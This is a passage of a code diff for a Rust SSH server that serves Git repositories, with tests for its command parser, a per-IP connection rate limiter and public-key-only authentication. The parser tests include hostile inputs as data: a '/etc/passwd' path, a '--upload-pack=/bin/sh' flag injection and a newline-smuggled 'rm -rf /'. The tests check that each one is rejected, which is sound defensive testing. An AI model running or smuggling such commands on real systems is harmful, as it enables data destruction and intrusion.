| 261 | + | /// `ssh://git@host/owner/repo.git` makes Git send `'/owner/repo.git'`, so | |
| 262 | + | /// the leading slash has to be accepted. That means | |
| 263 | + | /// `git-upload-pack '/etc/passwd'` parses — as owner `etc`, repo `passwd`, | |
| 264 | + | /// which is a *name*, not a path. | |
| 265 | + | /// | |
| 266 | + | /// Nothing is disclosed by that, and it is worth being precise about why: | |
| 267 | + | /// storage location derives from the repository's UUID and never from these | |
| 268 | + | /// strings (spec §3, §9), so a parsed name that matches no row resolves to | |
| 269 | + | /// no repository at all. The two components can never become a filesystem | |
| 270 | + | /// path, whatever they say. | |
| 271 | + | #[test] | |
| 272 | + | fn an_absolute_path_is_the_normal_wire_form_not_traversal() { | |
| 273 | + | assert_eq!( | |
| 274 | + | parse("git-upload-pack '/alice/dogfood.git'").unwrap(), | |
| 275 | + | req(Service::UploadPack, "alice", "dogfood") | |
| 276 | + | ); | |
| 277 | + | assert_eq!( | |
| 278 | + | parse("git-upload-pack '/etc/passwd'").unwrap(), | |
| 279 | + | req(Service::UploadPack, "etc", "passwd"), | |
| 280 | + | "parsed as two names; resolution against the database is what denies it" | |
| 281 | + | ); | |
| 282 | + | } | |
| 283 | + | ||
| 284 | + | #[test] | |
| 285 | + | fn refuses_extra_arguments() { | |
| 286 | + | // Otherwise a client could pass flags to git. | |
| 287 | + | assert!(parse("git-upload-pack --upload-pack=/bin/sh 'a/b'").is_err()); | |
| 288 | + | assert!(parse("git-upload-pack 'a/b' 'c/d'").is_err()); | |
| 289 | + | assert!(parse("git-upload-pack --help").is_err()); | |
| 290 | + | } | |
| 291 | + | ||
| 292 | + | #[test] | |
| 293 | + | fn refuses_control_characters() { | |
| 294 | + | assert_eq!( | |
| 295 | + | parse("git-upload-pack 'a/b'\nrm -rf /"), | |
| 296 | + | Err(ExecError::Malformed) | |
| 297 | + | ); | |
| 298 | + | assert_eq!(parse("git-upload-pack 'a\0b'"), Err(ExecError::Malformed)); | |
| 299 | + | } | |
| 300 | + | ||
| 301 | + | #[test] | |
| 302 | + | fn refuses_empty_and_overlong() { | |
| 303 | + | assert_eq!(parse(""), Err(ExecError::Malformed)); | |
| 304 | + | assert_eq!(parse("git-upload-pack"), Err(ExecError::UnsupportedCommand)); | |
| 305 | + | assert_eq!(parse(&"a".repeat(5000)), Err(ExecError::Malformed)); | |
| 306 | + | } | |
| 307 | + | ||
| 308 | + | #[test] | |
| 309 | + | fn write_classification_is_correct() { | |
| 310 | + | assert!(!Service::UploadPack.is_write()); | |
| 311 | + | assert!(Service::ReceivePack.is_write()); | |
| 312 | + | } | |
| 313 | + | ||
| 314 | + | #[test] | |
| 315 | + | fn a_repo_named_with_dot_git_inside_is_preserved() { | |
| 316 | + | // Only a trailing `.git` is stripped. | |
| 317 | + | assert_eq!( | |
| 318 | + | parse("git-upload-pack 'snow/my.git.repo'").unwrap().repo, | |
| 319 | + | "my.git.repo" | |
| 320 | + | ); | |
| 321 | + | } | |
| 322 | + | } | |
Acrates/df-ssh/src/limits.rs+249−0
| @@ −0,0 +1,249 @@ | |||
| 1 | + | //! Per-source-IP connection limits (spec §9). | |
| 2 | + | //! | |
| 3 | + | //! > **SSH.** Key auth only. […] Rate-limit connections per source IP. | |
| 4 | + | //! | |
| 5 | + | //! SSH is the cheapest thing on this host to attack: a connection costs the | |
| 6 | + | //! client one TCP handshake and costs the server a key exchange, a database | |
| 7 | + | //! lookup, and an Argon2-free but still real authentication path. Without a | |
| 8 | + | //! limit, one source can occupy every connection slot. | |
| 9 | + | //! | |
| 10 | + | //! Two limits, for the two shapes that takes: | |
| 11 | + | //! | |
| 12 | + | //! * a **rate** limit, so a source cannot open connections in a tight loop, and | |
| 13 | + | //! * a **concurrency** limit, so it cannot hold many open at once. | |
| 14 | + | //! | |
| 15 | + | //! Enforced at `new_client`, before the key exchange — the earliest point at | |
| 16 | + | //! which the peer is known, and before any work has been done on its behalf. | |
| 17 | + | ||
| 18 | + | use std::collections::HashMap; | |
| 19 | + | use std::net::IpAddr; | |
| 20 | + | use std::sync::{Arc, Mutex}; | |
| 21 | + | use std::time::{Duration, Instant}; | |
| 22 | + | ||
| 23 | + | /// Sustained new connections per second, per source. | |
| 24 | + | /// | |
| 25 | + | /// A `jj git push` opens one connection. Even a script fetching every | |
| 26 | + | /// repository in a loop stays well under this. | |
| 27 | + | const REFILL_PER_SEC: f64 = 0.5; | |
| 28 | + | ||
| 29 | + | /// Burst above the sustained rate, for a client that clones several | |
| 30 | + | /// repositories at once. | |
| 31 | + | const BURST: f64 = 10.0; | |
| 32 | + | ||
| 33 | + | /// Simultaneous connections from one source. | |
| 34 | + | const MAX_CONCURRENT: u32 = 8; | |
| 35 | + | ||
| 36 | + | /// Sources idle longer than this are forgotten. | |
| 37 | + | const IDLE_EVICT: Duration = Duration::from_secs(600); | |
| 38 | + | ||
| 39 | + | /// Distinct sources tracked before new ones are refused. Reached only under a | |
| 40 | + | /// distributed flood. | |
| 41 | + | const MAX_TRACKED: usize = 20_000; | |
| 42 | + | ||
| 43 | + | #[derive(Clone, Default)] | |
| 44 | + | pub struct ConnectionLimits(Arc<Mutex<State>>); | |
| 45 | + | ||
| 46 | + | #[derive(Default)] | |
| 47 | + | struct State { | |
| 48 | + | sources: HashMap<IpAddr, Source>, | |
| 49 | + | last_sweep: Option<Instant>, | |
| 50 | + | } | |
| 51 | + | ||
| 52 | + | struct Source { | |
| 53 | + | tokens: f64, | |
| 54 | + | open: u32, | |
| 55 | + | last: Instant, | |
| 56 | + | } | |
| 57 | + | ||
| 58 | + | impl ConnectionLimits { | |
| 59 | + | pub fn new() -> Self { | |
| 60 | + | Self::default() | |
| 61 | + | } | |
| 62 | + | ||
| 63 | + | /// Admit a connection from `peer`, or refuse it. | |
| 64 | + | /// | |
| 65 | + | /// The returned guard releases the concurrency slot when the connection's | |
| 66 | + | /// handler is dropped — which happens however the connection ends, so a | |
| 67 | + | /// client that disappears mid-session does not leak a slot. | |
| 68 | + | pub fn admit(&self, peer: Option<std::net::SocketAddr>) -> Option<ConnectionGuard> { | |
| 69 | + | // A connection whose peer cannot be determined is not attributable to a | |
| 70 | + | // source, so it is admitted without a slot rather than refused: in | |
| 71 | + | // practice this does not happen, and failing closed here would break | |
| 72 | + | // every connection if it ever did. | |
| 73 | + | let ip = peer?.ip(); | |
| 74 | + | self.admit_at(ip, Instant::now()) | |
| 75 | + | } | |
| 76 | + | ||
| 77 | + | fn admit_at(&self, ip: IpAddr, now: Instant) -> Option<ConnectionGuard> { | |
| 78 | + | let mut state = self.0.lock().ok()?; | |
| 79 | + | state.sweep(now); | |
| 80 | + | ||
| 81 | + | if state.sources.len() >= MAX_TRACKED && !state.sources.contains_key(&ip) { | |
| 82 | + | return None; | |
| 83 | + | } | |
| 84 | + | ||
| 85 | + | let source = state.sources.entry(ip).or_insert(Source { | |
| 86 | + | tokens: BURST, | |
| 87 | + | open: 0, | |
| 88 | + | last: now, | |
| 89 | + | }); | |
| 90 | + | ||
| 91 | + | let elapsed = now.saturating_duration_since(source.last).as_secs_f64(); | |
| 92 | + | source.tokens = (source.tokens + elapsed * REFILL_PER_SEC).min(BURST); | |
| 93 | + | source.last = now; | |
| 94 | + | ||
| 95 | + | if source.open >= MAX_CONCURRENT || source.tokens < 1.0 { | |
| 96 | + | return None; | |
| 97 | + | } | |
| 98 | + | ||
| 99 | + | source.tokens -= 1.0; | |
| 100 | + | source.open += 1; | |
| 101 | + | ||
| 102 | + | Some(ConnectionGuard { limits: self.clone(), ip }) | |
| 103 | + | } | |
| 104 | + | ||
| 105 | + | fn release(&self, ip: IpAddr) { | |
| 106 | + | if let Ok(mut state) = self.0.lock() { | |
| 107 | + | if let Some(s) = state.sources.get_mut(&ip) { | |
| 108 | + | s.open = s.open.saturating_sub(1); | |
| 109 | + | } | |
| 110 | + | } | |
| 111 | + | } | |
| 112 | + | ||
| 113 | + | #[cfg(test)] | |
| 114 | + | fn tracked(&self) -> usize { | |
| 115 | + | self.0.lock().unwrap().sources.len() | |
| 116 | + | } | |
| 117 | + | } | |
| 118 | + | ||
| 119 | + | impl State { | |
| 120 | + | fn sweep(&mut self, now: Instant) { | |
| 121 | + | let due = self | |
| 122 | + | .last_sweep | |
| 123 | + | .is_none_or(|t| now.saturating_duration_since(t) >= Duration::from_secs(60)); | |
| 124 | + | if !due { | |
| 125 | + | return; | |
| 126 | + | } | |
| 127 | + | self.last_sweep = Some(now); | |
| 128 | + | // Never evict a source with a connection open; that would lose the count | |
| 129 | + | // and let the concurrency cap be bypassed by long-lived sessions. | |
| 130 | + | self.sources | |
| 131 | + | .retain(|_, s| s.open > 0 || now.saturating_duration_since(s.last) < IDLE_EVICT); | |
| 132 | + | } | |
| 133 | + | } | |
| 134 | + | ||
| 135 | + | /// Holds one connection slot for a source. | |
| 136 | + | pub struct ConnectionGuard { | |
| 137 | + | limits: ConnectionLimits, | |
| 138 | + | ip: IpAddr, | |
| 139 | + | } | |
| 140 | + | ||
| 141 | + | impl Drop for ConnectionGuard { | |
| 142 | + | fn drop(&mut self) { | |
| 143 | + | self.limits.release(self.ip); | |
| 144 | + | } | |
| 145 | + | } | |
| 146 | + | ||
| 147 | + | #[cfg(test)] | |
| 148 | + | mod tests { | |
| 149 | + | use super::*; | |
| 150 | + | ||
| 151 | + | fn ip(s: &str) -> IpAddr { | |
| 152 | + | s.parse().unwrap() | |
| 153 | + | } | |
| 154 | + | ||
| 155 | + | #[test] | |
| 156 | + | fn concurrent_connections_are_capped() { | |
| 157 | + | let l = ConnectionLimits::new(); | |
| 158 | + | let now = Instant::now(); | |
| 159 | + | ||
| 160 | + | let mut held = Vec::new(); | |
| 161 | + | for i in 0..MAX_CONCURRENT { | |
| 162 | + | held.push(l.admit_at(ip("10.0.0.1"), now).expect_and_count(i)); | |
| 163 | + | } | |
| 164 | + | assert!( | |
| 165 | + | l.admit_at(ip("10.0.0.1"), now).is_none(), | |
| 166 | + | "the concurrency cap must refuse the next connection" | |
| 167 | + | ); | |
| 168 | + | ||
| 169 | + | drop(held.pop()); | |
| 170 | + | assert!( | |
| 171 | + | l.admit_at(ip("10.0.0.1"), now).is_some(), | |
| 172 | + | "closing a connection frees its slot" | |
| 173 | + | ); | |
| 174 | + | } | |
| 175 | + | ||
| 176 | + | #[test] | |
| 177 | + | fn the_burst_is_spent_and_then_refills() { | |
| 178 | + | let l = ConnectionLimits::new(); | |
| 179 | + | let start = Instant::now(); | |
| 180 | + | ||
| 181 | + | // Guards dropped immediately, so only the token bucket applies. | |
| 182 | + | for _ in 0..BURST as usize { | |
| 183 | + | assert!(l.admit_at(ip("10.0.0.2"), start).is_some()); | |
| 184 | + | } | |
| 185 | + | assert!(l.admit_at(ip("10.0.0.2"), start).is_none(), "burst spent"); | |
| 186 | + | ||
| 187 | + | let later = start + Duration::from_secs(4); | |
| 188 | + | assert!( | |
| 189 | + | l.admit_at(ip("10.0.0.2"), later).is_some(), | |
| 190 | + | "{REFILL_PER_SEC}/s should have refilled by then" | |
| 191 | + | ); | |
| 192 | + | } | |
| 193 | + | ||
| 194 | + | #[test] | |
| 195 | + | fn sources_do_not_share_a_budget() { | |
| 196 | + | let l = ConnectionLimits::new(); | |
| 197 | + | let now = Instant::now(); | |
| 198 | + | for _ in 0..BURST as usize { | |
| 199 | + | let _ = l.admit_at(ip("10.0.0.3"), now); | |
| 200 | + | } | |
| 201 | + | assert!(l.admit_at(ip("10.0.0.3"), now).is_none()); | |
| 202 | + | assert!( | |
| 203 | + | l.admit_at(ip("10.0.0.4"), now).is_some(), | |
| 204 | + | "one source must not exhaust another's budget" | |
| 205 | + | ); | |
| 206 | + | } | |
| 207 | + | ||
| 208 | + | #[test] | |
| 209 | + | fn a_peerless_connection_is_admitted_without_a_slot() { | |
| 210 | + | let l = ConnectionLimits::new(); | |
| 211 | + | assert!( | |
| 212 | + | l.admit(None).is_none(), | |
| 213 | + | "no peer means no guard — the connection proceeds unmetered" | |
| 214 | + | ); | |
| 215 | + | } | |
| 216 | + | ||
| 217 | + | #[test] | |
| 218 | + | fn idle_sources_are_forgotten() { | |
| 219 | + | let l = ConnectionLimits::new(); | |
| 220 | + | let start = Instant::now(); | |
| 221 | + | drop(l.admit_at(ip("10.0.0.5"), start)); | |
| 222 | + | assert_eq!(l.tracked(), 1); | |
| 223 | + | ||
| 224 | + | let later = start + IDLE_EVICT + Duration::from_secs(1); | |
| 225 | + | let _g = l.admit_at(ip("10.0.0.6"), later); | |
| 226 | + | assert_eq!(l.tracked(), 1, "the idle source should have been swept"); | |
| 227 | + | } | |
| 228 | + | ||
| 229 | + | #[test] | |
| 230 | + | fn a_backwards_clock_does_not_mint_tokens() { | |
| 231 | + | let l = ConnectionLimits::new(); | |
| 232 | + | let now = Instant::now(); | |
| 233 | + | for _ in 0..BURST as usize { | |
| 234 | + | let _ = l.admit_at(ip("10.0.0.7"), now); | |
| 235 | + | } | |
| 236 | + | let earlier = now.checked_sub(Duration::from_secs(600)).unwrap_or(now); | |
| 237 | + | assert!(l.admit_at(ip("10.0.0.7"), earlier).is_none()); | |
| 238 | + | } | |
| 239 | + | ||
| 240 | + | /// Small helper so the concurrency test reads clearly when it fails. | |
| 241 | + | trait ExpectAndCount { | |
| 242 | + | fn expect_and_count(self, i: u32) -> ConnectionGuard; | |
| 243 | + | } | |
| 244 | + | impl ExpectAndCount for Option<ConnectionGuard> { | |
| 245 | + | fn expect_and_count(self, i: u32) -> ConnectionGuard { | |
| 246 | + | self.unwrap_or_else(|| panic!("connection {i} should have been admitted")) | |
| 247 | + | } | |
| 248 | + | } | |
| 249 | + | } | |
Acrates/df-ssh/src/main.rs477 lines+477−0
| @@ −0,0 +1,477 @@ | |||
| 1 | + | //! `dogfood-ssh` — Git over SSH (spec §6, §9). | |
| 2 | + | //! | |
| 3 | + | //! Public-key authentication only. The presented key's SHA256 fingerprint is | |
| 4 | + | //! looked up in `ssh_keys`, which resolves the user; then only | |
| 5 | + | //! `git-upload-pack` and `git-receive-pack` are dispatched. | |
| 6 | + | //! | |
| 7 | + | //! No password auth, no shell, no forwarding, no PTY, no SFTP. | |
| 8 | + | ||
| 9 | + | use std::sync::Arc; | |
| 10 | + | ||
| 11 | + | use anyhow::{Context, Result}; | |
| 12 | + | use russh::server::{Auth, Handler, Msg, Server as _, Session}; | |
| 13 | + | use russh::{Channel, ChannelId, MethodKind, MethodSet}; | |
| 14 | + | use sqlx::PgPool; | |
| 15 | + | use uuid::Uuid; | |
| 16 | + | ||
| 17 | + | mod exec; | |
| 18 | + | mod limits; | |
| 19 | + | mod repo; | |
| 20 | + | ||
| 21 | + | ||
| 22 | + | /// How long a connection may sit before authenticating. | |
| 23 | + | /// | |
| 24 | + | /// Distinct from [`INACTIVITY_TIMEOUT`], which governs an *established* session: | |
| 25 | + | /// a client that connects and then says nothing has done no work we can charge | |
| 26 | + | /// it for, and holding the slot open is the whole attack. | |
| 27 | + | const AUTH_TIMEOUT: std::time::Duration = std::time::Duration::from_secs(30); | |
| 28 | + | ||
| 29 | + | /// How long an authenticated session may sit idle. Generous, because a large | |
| 30 | + | /// `git-upload-pack` can be quiet for a while as the client works. | |
| 31 | + | const INACTIVITY_TIMEOUT: std::time::Duration = std::time::Duration::from_secs(600); | |
| 32 | + | ||
| 33 | + | struct Server { | |
| 34 | + | db: PgPool, | |
| 35 | + | repo_root: String, | |
| 36 | + | database_url: String, | |
| 37 | + | hook_binary: String, | |
| 38 | + | /// Per-source-IP connection limits (spec §9). | |
| 39 | + | limits: limits::ConnectionLimits, | |
| 40 | + | } | |
| 41 | + | ||
| 42 | + | impl russh::server::Server for Server { | |
| 43 | + | type Handler = Connection; | |
| 44 | + | ||
| 45 | + | fn new_client(&mut self, peer: Option<std::net::SocketAddr>) -> Connection { | |
| 46 | + | // Admission happens here, before the key exchange — the earliest point | |
| 47 | + | // at which the peer is known and the last one before we spend anything | |
| 48 | + | // on its behalf. A refused connection is still constructed (russh gives | |
| 49 | + | // no way to decline one at this point), but it carries no guard and is | |
| 50 | + | // rejected at the first authentication attempt. | |
| 51 | + | let guard = self.limits.admit(peer); | |
| 52 | + | if guard.is_none() && peer.is_some() { | |
| 53 | + | tracing::warn!(?peer, "ssh connection refused: source rate limit"); | |
| 54 | + | } | |
| 55 | + | ||
| 56 | + | Connection { | |
| 57 | + | db: self.db.clone(), | |
| 58 | + | repo_root: self.repo_root.clone(), | |
| 59 | + | database_url: self.database_url.clone(), | |
| 60 | + | hook_binary: self.hook_binary.clone(), | |
| 61 | + | peer, | |
| 62 | + | admitted: guard.is_some() || peer.is_none(), | |
| 63 | + | _guard: guard, | |
| 64 | + | user: None, | |
| 65 | + | git_stdin: None, | |
| 66 | + | } | |
| 67 | + | } | |
| 68 | + | ||
| 69 | + | fn handle_session_error(&mut self, error: <Connection as Handler>::Error) { | |
| 70 | + | // Client disconnects are routine; log at debug so they do not drown the | |
| 71 | + | // signal. | |
| 72 | + | tracing::debug!("ssh session ended: {error}"); | |
| 73 | + | } | |
| 74 | + | } | |
| 75 | + | ||
| 76 | + | struct Connection { | |
| 77 | + | db: PgPool, | |
| 78 | + | repo_root: String, | |
| 79 | + | database_url: String, | |
| 80 | + | hook_binary: String, | |
| 81 | + | peer: Option<std::net::SocketAddr>, | |
| 82 | + | /// Whether the source's connection limit admitted this connection. | |
| 83 | + | admitted: bool, | |
| 84 | + | /// Holds the source's concurrency slot for the life of the connection. | |
| 85 | + | _guard: Option<limits::ConnectionGuard>, | |
| 86 | + | /// Set once a key has authenticated. | |
| 87 | + | user: Option<AuthedUser>, | |
| 88 | + | /// git's stdin for the running service, fed by `data`. | |
| 89 | + | git_stdin: Option<tokio::process::ChildStdin>, | |
| 90 | + | } | |
| 91 | + | ||
| 92 | + | #[derive(Clone)] | |
| 93 | + | struct AuthedUser { | |
| 94 | + | id: Uuid, | |
| 95 | + | handle: String, | |
| 96 | + | } | |
| 97 | + | ||
| 98 | + | impl Handler for Connection { | |
| 99 | + | type Error = anyhow::Error; | |
| 100 | + | ||
| 101 | + | /// Public-key authentication. | |
| 102 | + | /// | |
| 103 | + | /// The SSH username is ignored entirely — everyone connects as `git`, and | |
| 104 | + | /// the key decides who they are. That is the standard forge convention and | |
| 105 | + | /// means a user does not have to configure a per-host username. | |
| 106 | + | async fn auth_publickey( | |
| 107 | + | &mut self, | |
| 108 | + | _user: &str, | |
| 109 | + | key: &russh::keys::ssh_key::PublicKey, | |
| 110 | + | ) -> Result<Auth, Self::Error> { | |
| 111 | + | // A connection the limiter refused never gets as far as a database | |
| 112 | + | // lookup — which is the work the limit exists to prevent. | |
| 113 | + | if !self.admitted { | |
| 114 | + | return Ok(Auth::Reject { | |
| 115 | + | proceed_with_methods: None, | |
| 116 | + | partial_success: false, | |
| 117 | + | }); | |
| 118 | + | } | |
| 119 | + | ||
| 120 | + | let fingerprint = key | |
| 121 | + | .fingerprint(russh::keys::ssh_key::HashAlg::Sha256) | |
| 122 | + | .to_string(); | |
| 123 | + | ||
| 124 | + | let found: Option<(Uuid, String)> = sqlx::query_as( | |
| 125 | + | "SELECT u.id, u.handle::text | |
| 126 | + | FROM ssh_keys k JOIN users u ON u.id = k.user_id | |
| 127 | + | WHERE k.fingerprint = $1", | |
| 128 | + | ) | |
| 129 | + | .bind(&fingerprint) | |
| 130 | + | .fetch_optional(&self.db) | |
| 131 | + | .await | |
| 132 | + | .unwrap_or(None); | |
| 133 | + | ||
| 134 | + | match found { | |
| 135 | + | Some((id, handle)) => { | |
| 136 | + | tracing::info!(peer = ?self.peer, %handle, "ssh key accepted"); | |
| 137 | + | // Best-effort usage tracking; never fail auth on it. | |
| 138 | + | let _ = sqlx::query("UPDATE ssh_keys SET last_used_at = now() WHERE fingerprint = $1") | |
| 139 | + | .bind(&fingerprint) | |
| 140 | + | .execute(&self.db) | |
| 141 | + | .await; | |
| 142 | + | self.user = Some(AuthedUser { id, handle }); | |
| 143 | + | Ok(Auth::Accept) | |
| 144 | + | } | |
| 145 | + | None => { | |
| 146 | + | tracing::info!(peer = ?self.peer, %fingerprint, "ssh key rejected: unknown"); | |
| 147 | + | Ok(Auth::Reject { | |
| 148 | + | proceed_with_methods: None, | |
| 149 | + | partial_success: false, | |
| 150 | + | }) | |
| 151 | + | } | |
| 152 | + | } | |
| 153 | + | } | |
| 154 | + | ||
| 155 | + | /// Password authentication is never permitted (spec §9). | |
| 156 | + | async fn auth_password(&mut self, _user: &str, _password: &str) -> Result<Auth, Self::Error> { | |
| 157 | + | Ok(Auth::Reject { | |
| 158 | + | proceed_with_methods: Some(publickey_only()), | |
| 159 | + | partial_success: false, | |
| 160 | + | }) | |
| 161 | + | } | |
| 162 | + | ||
| 163 | + | async fn auth_none(&mut self, _user: &str) -> Result<Auth, Self::Error> { | |
| 164 | + | Ok(Auth::Reject { | |
| 165 | + | proceed_with_methods: Some(publickey_only()), | |
| 166 | + | partial_success: false, | |
| 167 | + | }) | |
| 168 | + | } | |
| 169 | + | ||
| 170 | + | async fn channel_open_session( | |
| 171 | + | &mut self, | |
| 172 | + | _channel: Channel<Msg>, | |
| 173 | + | _session: &mut Session, | |
| 174 | + | ) -> Result<bool, Self::Error> { | |
| 175 | + | Ok(true) | |
| 176 | + | } | |
| 177 | + | ||
| 178 | + | /// The only thing a session may do. | |
| 179 | + | async fn exec_request( | |
| 180 | + | &mut self, | |
| 181 | + | channel: ChannelId, | |
| 182 | + | data: &[u8], | |
| 183 | + | session: &mut Session, | |
| 184 | + | ) -> Result<(), Self::Error> { | |
| 185 | + | let Some(user) = self.user.clone() else { | |
| 186 | + | // Cannot happen — russh will not deliver exec before auth — but | |
| 187 | + | // default-deny rather than assume. | |
| 188 | + | return deny(session, channel, "Not authenticated."); | |
| 189 | + | }; | |
| 190 | + | ||
| 191 | + | let command = String::from_utf8_lossy(data).to_string(); | |
| 192 | + | ||
| 193 | + | let request = match exec::parse(&command) { | |
| 194 | + | Ok(r) => r, | |
| 195 | + | Err(e) => { | |
| 196 | + | tracing::info!(handle = %user.handle, "rejected ssh exec: {e}"); | |
| 197 | + | return deny(session, channel, &e.to_string()); | |
| 198 | + | } | |
| 199 | + | }; | |
| 200 | + | ||
| 201 | + | // Authorize before touching the filesystem. | |
| 202 | + | let resolved = match repo::authorize( | |
| 203 | + | &self.db, | |
| 204 | + | &request.owner, | |
| 205 | + | &request.repo, | |
| 206 | + | user.id, | |
| 207 | + | request.service.is_write(), | |
| 208 | + | ) | |
| 209 | + | .await | |
| 210 | + | { | |
| 211 | + | Ok(Some(r)) => r, | |
| 212 | + | Ok(None) => { | |
| 213 | + | // Same message whether the repo is missing or merely invisible | |
| 214 | + | // (spec §9). | |
| 215 | + | return deny( | |
| 216 | + | session, | |
| 217 | + | channel, | |
| 218 | + | &format!( | |
| 219 | + | "Repository '{}/{}' not found.", | |
| 220 | + | request.owner, request.repo | |
| 221 | + | ), | |
| 222 | + | ); | |
| 223 | + | } | |
| 224 | + | Err(e) => { | |
| 225 | + | tracing::error!("authorizing ssh request failed: {e:#}"); | |
| 226 | + | return deny(session, channel, "Internal error."); | |
| 227 | + | } | |
| 228 | + | }; | |
| 229 | + | ||
| 230 | + | if request.service.is_write() && !resolved.can_push { | |
| 231 | + | return deny( | |
| 232 | + | session, | |
| 233 | + | channel, | |
| 234 | + | if resolved.archived { | |
| 235 | + | "This repository is archived and does not accept pushes." | |
| 236 | + | } else { | |
| 237 | + | "You do not have push access to this repository." | |
| 238 | + | }, | |
| 239 | + | ); | |
| 240 | + | } | |
| 241 | + | ||
| 242 | + | let dir = repo::repo_path(&self.repo_root, resolved.repo_id); | |
| 243 | + | if !dir.is_dir() { | |
| 244 | + | tracing::error!(?dir, "repository directory missing"); | |
| 245 | + | return deny(session, channel, "Repository storage is unavailable."); | |
| 246 | + | } | |
| 247 | + | ||
| 248 | + | tracing::info!( | |
| 249 | + | handle = %user.handle, | |
| 250 | + | service = request.service.git_subcommand(), | |
| 251 | + | repo = %resolved.repo_id, | |
| 252 | + | "dispatching git" | |
| 253 | + | ); | |
| 254 | + | ||
| 255 | + | // git's stdout/stderr stream back from inside `run_git`; its stdin is | |
| 256 | + | // returned here so `data` can feed it the client's pack. | |
| 257 | + | let stdin = repo::run_git( | |
| 258 | + | session, | |
| 259 | + | channel, | |
| 260 | + | request.service, | |
| 261 | + | &dir, | |
| 262 | + | &self.database_url, | |
| 263 | + | &self.hook_binary, | |
| 264 | + | resolved.repo_id, | |
| 265 | + | user.id, | |
| 266 | + | ) | |
| 267 | + | .await?; | |
| 268 | + | ||
| 269 | + | self.git_stdin = Some(stdin); | |
| 270 | + | Ok(()) | |
| 271 | + | } | |
| 272 | + | ||
| 273 | + | /// Client -> git. Every frame the client sends is the other half of the | |
| 274 | + | /// pack protocol conversation. | |
| 275 | + | async fn data( | |
| 276 | + | &mut self, | |
| 277 | + | _channel: ChannelId, | |
| 278 | + | data: &[u8], | |
| 279 | + | _session: &mut Session, | |
| 280 | + | ) -> Result<(), Self::Error> { | |
| 281 | + | if let Some(stdin) = self.git_stdin.as_mut() { | |
| 282 | + | use tokio::io::AsyncWriteExt; | |
| 283 | + | if let Err(e) = stdin.write_all(data).await { | |
| 284 | + | // The child exited early — a rejected push, for instance. | |
| 285 | + | tracing::debug!("writing to git stdin failed: {e}"); | |
| 286 | + | self.git_stdin = None; | |
| 287 | + | } | |
| 288 | + | } | |
| 289 | + | Ok(()) | |
| 290 | + | } | |
| 291 | + | ||
| 292 | + | /// The client has finished sending. Closing stdin is what lets | |
| 293 | + | /// receive-pack stop waiting and start processing. | |
| 294 | + | async fn channel_eof( | |
| 295 | + | &mut self, | |
| 296 | + | _channel: ChannelId, | |
| 297 | + | _session: &mut Session, | |
| 298 | + | ) -> Result<(), Self::Error> { | |
| 299 | + | if let Some(mut stdin) = self.git_stdin.take() { | |
| 300 | + | use tokio::io::AsyncWriteExt; | |
| 301 | + | let _ = stdin.shutdown().await; | |
| 302 | + | } | |
| 303 | + | Ok(()) | |
| 304 | + | } | |
| 305 | + | ||
| 306 | + | // ── everything else is refused (spec §9) ───────────────────────────────── | |
| 307 | + | ||
| 308 | + | async fn shell_request( | |
| 309 | + | &mut self, | |
| 310 | + | channel: ChannelId, | |
| 311 | + | session: &mut Session, | |
| 312 | + | ) -> Result<(), Self::Error> { | |
| 313 | + | deny( | |
| 314 | + | session, | |
| 315 | + | channel, | |
| 316 | + | "Dogfood does not provide shell access. Use git or jj.", | |
| 317 | + | ) | |
| 318 | + | } | |
| 319 | + | ||
| 320 | + | async fn pty_request( | |
| 321 | + | &mut self, | |
| 322 | + | channel: ChannelId, | |
| 323 | + | _: &str, | |
| 324 | + | _: u32, | |
| 325 | + | _: u32, | |
| 326 | + | _: u32, | |
| 327 | + | _: u32, | |
| 328 | + | _: &[(russh::Pty, u32)], | |
| 329 | + | session: &mut Session, | |
| 330 | + | ) -> Result<(), Self::Error> { | |
| 331 | + | deny(session, channel, "No PTY.") | |
| 332 | + | } | |
| 333 | + | ||
| 334 | + | async fn subsystem_request( | |
| 335 | + | &mut self, | |
| 336 | + | channel: ChannelId, | |
| 337 | + | name: &str, | |
| 338 | + | session: &mut Session, | |
| 339 | + | ) -> Result<(), Self::Error> { | |
| 340 | + | // Notably SFTP. | |
| 341 | + | tracing::info!("refused subsystem request: {name}"); | |
| 342 | + | deny(session, channel, "No subsystems.") | |
| 343 | + | } | |
| 344 | + | ||
| 345 | + | async fn tcpip_forward( | |
| 346 | + | &mut self, | |
| 347 | + | _address: &str, | |
| 348 | + | _port: &mut u32, | |
| 349 | + | _session: &mut Session, | |
| 350 | + | ) -> Result<bool, Self::Error> { | |
| 351 | + | // Refusing this is what stops the SSH server being an open proxy into | |
| 352 | + | // the internal network. | |
| 353 | + | Ok(false) | |
| 354 | + | } | |
| 355 | + | ||
| 356 | + | } | |
| 357 | + | ||
| 358 | + | /// The only authentication method Dogfood offers. | |
| 359 | + | /// | |
| 360 | + | /// russh 0.51 models this as a list of `MethodKind`, not a bitflag set. | |
| 361 | + | fn publickey_only() -> MethodSet { | |
| 362 | + | MethodSet::from(&[MethodKind::PublicKey][..]) | |
| 363 | + | } | |
| 364 | + | ||
| 365 | + | /// Write a message to the client's stderr and close the channel with failure. | |
| 366 | + | fn deny(session: &mut Session, channel: ChannelId, message: &str) -> Result<()> { | |
| 367 | + | let text = format!("dogfood: {message}\r\n"); | |
| 368 | + | let _ = session.extended_data(channel, 1, text.into_bytes().into()); | |
| 369 | + | let _ = session.exit_status_request(channel, 1); | |
| 370 | + | let _ = session.close(channel); | |
| 371 | + | Ok(()) | |
| 372 | + | } | |
| 373 | + | ||
| 374 | + | #[tokio::main] | |
| 375 | + | async fn main() -> Result<()> { | |
| 376 | + | let _ = dotenvy::dotenv(); | |
| 377 | + | init_tracing(); | |
| 378 | + | ||
| 379 | + | let database_url = std::env::var("DATABASE_URL").context("DATABASE_URL must be set")?; | |
| 380 | + | let repo_root = std::env::var("REPO_ROOT").unwrap_or_else(|_| "/srv/repos".into()); | |
| 381 | + | let bind = std::env::var("SSH_BIND").unwrap_or_else(|_| "0.0.0.0:2222".into()); | |
| 382 | + | let host_key_path = std::env::var("SSH_HOST_KEY_PATH") | |
| 383 | + | .unwrap_or_else(|_| "/etc/dogfood/ssh_host_ed25519_key".into()); | |
| 384 | + | let hook_binary = | |
| 385 | + | std::env::var("DOGFOOD_HOOK_BINARY").unwrap_or_else(|_| "/usr/local/bin/dogfood-hook".into()); | |
| 386 | + | ||
| 387 | + | let db = df_db::connect(&database_url, 5) | |
| 388 | + | .await | |
| 389 | + | .context("connecting to the database")?; | |
| 390 | + | ||
| 391 | + | let host_key = load_or_create_host_key(&host_key_path)?; | |
| 392 | + | ||
| 393 | + | let config = russh::server::Config { | |
